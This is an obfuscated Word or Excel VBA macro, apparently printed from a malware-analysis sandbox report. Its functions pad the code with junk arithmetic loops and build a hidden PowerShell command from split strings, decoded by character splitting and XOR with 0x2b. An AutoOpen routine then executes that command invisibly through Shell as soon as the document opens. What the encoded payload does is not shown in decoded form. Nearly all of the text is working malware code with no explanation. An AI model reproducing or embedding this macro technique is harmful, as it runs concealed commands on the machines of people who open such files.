NRJulU = (AMMOl * 98677 + 18194 * CInt(DsbTj - CDbl(22156)) * 74469 * Oct(62002))
SbLKG = 40029 + Atn(65300) / 8743 / Round(25198) / 15154 / CInt(blcmDa)
HhtqDn = auDJI = NdUzZE
Next
RuRDiWr = "9I66I7" + "1!78V3O1" + "5x65J120t" + "69>123!72t5x1" + "27O68H120t95J8"
For Each zYDoq In zBEiwz
miTNjV = (kiFDNm * 31455 + 66168 * CInt(WaZta - CDbl(53817)) * 61038 * Oct(16957))
AbDfR = 57950 + Atn(66498) / 7452 / Round(47457) / 9915 / CInt(KCKiv)
kQKEPD = NZAsS = GhrmO
Next
RGdOcJPbLC = "9!66>69H76V3I2" + "x7t11!15t1" + "02J105H77O113H" + "108!2-16I120" + "I95I" + "74" + "-89x95>6>1"
For Each YjSCz In NPpEGT
CoNMID = (ktahzh * 16963 + 32991 * CInt(qHjLcT - CDbl(11746)) * 92378 * Oct(31269))
DPqwZz = 95006 + Atn(50471) / 15796 / Round(30150) / 68147 / CInt(RwFbqV)
bqPbZ = kjCTzp = fOUiF
Next
cbzHq = "23!89H68-72" + "I78t88t88t11" + "H15V102" + "J105V77>113H108" + "-16I73t8" + "9I78J74O64x16" + "J86I"
For Each BFPAG In tAFAzH
AKNmlu = (cbBbRT * 72885 + 60973 * CInt(wEXzND - CDbl(60665)) * 76229 * Oct(29340))
nLNHJw = 49349 + Atn(14305) / 52090 / Round(93512) / 60269 / CInt(XBvKd)
zjzrZK = vhGjT = wipZEn
Next
pkRWUt = "72H74!95J" + "72V67" + "J80" + "t92!89I66V95I78" + "!6I" + "67I6" + "8O88" + "-95-11H15-1"
For Each cQIYEZ In dObVX
bAfznS = (idlAUk * 52234 + 19176 * CInt(oBUMpc - CDbl(43608)) * 51481 * Oct(29012))
DTwzh = 51007 + Atn(49298) / 1238 / Round(21973) / 77600 / CInt(dEijit)
ozjhw = DSDZrE = rlBwf
Next
ULbaZzki = "16>" + "5H110" + "V83I72-78>91O9" + "5>66>68I69-5"
LoTOqENsswr = RuRDiWr + RGdOcJPbLC + cbzHq + pkRWUt + ULbaZzki
End Function
Function ocjzdrm()
On Error Resume Next
For Each wmOQS In kDkud
odqSLn = (wwGYlr * 57754 + 8520 * CInt(mVaMrw - CDbl(5378)) * 86585 * Oct(86765))
dYoSo = 32462 + Atn(27679) / 38720 / Round(32029) / 69015 / CInt(azZXmP)
BaPdqf = kzWmm = tovDp
Next
OAsUZbWLr = "J102H78t88J88" + "!74!76x7" + "8-" + "16J86" + ">86' -SplIT " + "'>' -sp" + "LiT" + "'X' -SpLiT " + "'!'"
For Each UQtOHi In JAzjYv
NfPOMH = (MbLGAJ * 92069 + 77862 * CInt(wHZMj - CDbl(47626)) * 38974 * Oct(28592))
HHUmVo = 100 + Atn(47606) / 98479 / Round(68909) / 22440 / CInt(KBwCXw)
KkiQP = souMSJ = ZHIHo
Next
ilhPDf = "-sPlIt 'V" + "' " + "-SplI" + "t'o' -SPLiT" + "'i'-"
For Each MXOMPi In CpiRD
jlHKpw = (bPOtE * 67783 + 46552 * CInt(IMWkM - CDbl(20663)) * 54597 * Oct(21028))
IfKNt = 54830 + Atn(22494) / 63910 / Round(82927) / 32280 / CInt(aNPkv)
uFDzmK = hjkEZt = MYnVzI
Next
dZvuiqG = "sPliT 'H" + "'-SpLIT'-'-sPli" + "t't'-sPLIt'J' |" + "forEaCh{ [CHaR"
For Each pEYLX In TiOZJL
pfCYm = (slsii * 899 + 79419 * CInt(zwfXc - CDbl(57167)) * 56714 * Oct(62766))
WtLifW = 70386 + Atn(67294) / 3796 / Round(63844) / 64897 / CInt(ImSOCs)
jJkjrf = CBVRbc = pcKCY
Next
EaNLTTGAz = "] ( $_-bXOr'0x2" + "b'" + " ) })+" + Chr(34) + " " + "$(SEt " + " 'OfS'  '" + " ') " + Chr(34) + " )"
ocjzdrm = OAsUZbWLr + ilhPDf + dZvuiqG + EaNLTTGAz
End Function


Attribute VB_Name = "QcQAsjLSiI"
Function ulPmHcLl()
On Error Resume Next
For Each YfTPV In ZnBfZ
dGpEw = 51036 + Atn(9739) / 65256 / Round(71823) / 38121 / CInt(cjzzs)
qMTjD = (FhjvZd * 20348 + 48471 * CInt(UFQLJ - CDbl(80136)) * 19495 * Oct(30021))
rdkPj = WkDwJ = McPkCJ
Next
For Each JqAdY In aMPuId
VBZJn = 44782 + Atn(75560) / 81770 / Round(73177) / 23734 / CInt(tLAuYz)
bGjpm = (BYnob * 39452 + 71191 * CInt(nVdiP - CDbl(69511)) * 79948 * Oct(51486))
IrERO = hjwEjs = vrLhq
Next
For Each znjGIi In BYdZl
LiLoa = 10460 + Atn(55838) / 62314 / Round(27732) / 4035 / CInt(twrUpR)
huoEK = (iRubBv * 38126 + 7878 * CInt(YsPXt - CDbl(56898)) * 68526 * Oct(5880))
Ptusm = JQApLz = vjpPQ
Next
For Each pivSlv In tLBwji
WnijC = 98384 + Atn(82628) / 27597 / Round(63533) / 6327 / CInt(Ywvnum)
NjrpDE = (nJSvO * 14893 + 92149 * CInt(ICFRB - CDbl(50891)) * 72763 * Oct(14293))
tQKhub = iTOjRz = mMTBVd
Next
For Each hiMutP In JWTEhY
sIhKCI = 75169 + Atn(38253) / 73460 / Round(2131) / 31201 / CInt(jLviIQ)
iVWdb = (rcsTm * 21886 + 9246 * CInt(AjzSjI - CDbl(75638)) * 90051 * Oct(20125))
uSltcX = ziKuc = JSlCE
Next
End Function
Function YmJYPBOv()
On Error Resume Next
For Each AVKnju In YKpzuG
pSNmHj = 27480 + Atn(79984) / 49064 / Round(2666) / 56741 / CInt(jwLriB)
FRTMHi = (pDXwOh * 22511 + 32669 * CInt(bKVEEU - CDbl(66114)) * 40113 * Oct(1841))
Ejcim = Jvitb = AhLKR
Next
jKlwQlaw = aOwziFC + Chr(qQWidbKzAV + 80 + czZsWjF)
For Each ZksEl In XCEJot
UoMZtz = 71175 + Atn(66840) / 93140 / Round(22034) / 87066 / CInt(UcNsRG)
DvfiDS = (wQwjIR * 87413 + 20198 * CInt(KJDKzr - CDbl(4049)) * 94571 * Oct(26768))
EkiJjl = jhnSc = MYQJoL
Next
For Each vAiMW In hVqlh
qbZZKs = 9345 + Atn(65515) / 62277 / Round(82128) / 41238 / CInt(VohpD)
OlSHQX = (PjAZm * 41944 + 89759 * CInt(ILwjwC - CDbl(44973)) * 31350 * Oct(91459))
cqPMiu = PcfwCV = UMqkua
Next
YmJYPBOv = LlfjNi + jKlwQlaw + ZVimKZ + ZaUUl + lijHVTNMazP + LoTOqENsswr + ocjzdrm
For Each GcXtP In FqBLmL
wbMZqs = 46052 + Atn(29912) / 46247 / Round(10551) / 63804 / CInt(SoBES)
VUqlOp = (TCshwo * 52460 + 61608 * CInt(InWnho - CDbl(97021)) * 46261 * Oct(94671))
lTTqt = UDzBiC = ARiEj
Next
End Function
Function ohjlfjvZu(ZvRJEp)
On Error Resume Next
For Each Lzlbk In iVGUWW
FimIzI = 84160 + Atn(5916) / 50509 / Round(46075) / 32942 / CInt(idivoz)
kOhAlZ = (dwVjwz * 35851 + 59910 * CInt(ORwwi - CDbl(85845)) * 69962 * Oct(8789))
qlvVm = tBGwH = oQiYXN
Next
For Each LRnvr In XcaAR
QRURCQ = 89147 + Atn(40337) / 32801 / Round(61034) / 51064 / CInt(vduhH)
KfGzr = (cvMuA * 36137 + 57205 * CInt(FdHJVq - CDbl(48829)) * 30057 * Oct(3570))
Sjvnb = RCIzGM = insLD
Next
ZRYtqEL = JAwncROpm + Shell(YiizkoCGw + ZvRJEp + ZVVKnMGU, 82092 - 82092)
For Each pUfdw In fisFc
mUcbb = 66102 + Atn(45522) / 18381 / Round(53718) / 61213 / CInt(sInFzb)
cfWUl = (zRsWhL * 790 + 43245 * CInt(zLjdzf - CDbl(70269)) * 43379 * Oct(66938))
nTKlT = psvCv = aszjqP
Next
End Function
Sub AutoOpen()
On Error Resume Next
For Each jYwsTE In mTkqd
ccjfH = 98522 + Atn(16945) / 99477 / Round(54690) / 28792 / CInt(ERfijB)
pVDvv = (riDwO * 25330 + 23529 * CInt(KnqVu - CDbl(47154)) * 92196 * Oct(19272))
UuAXIo = nSwSA = ErJmk
Next
Application.Run mFUja + "ohjlfjvZu" + vUWbXrR, czWmb + YmJYPBOv + jrjHnKoim
For Each mjuoIv In uFniz
BkYUu = 71360 + Atn(91348) / 24128 / Round(17086) / 93429 / CInt(nhsuw)
IorhO = (PsYzpm * 46660 + 44102 * CInt(AUsVqO - CDbl(32)) * 1958 * Oct(19557))
ToQNtV = dDnQa = QwlCOj
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.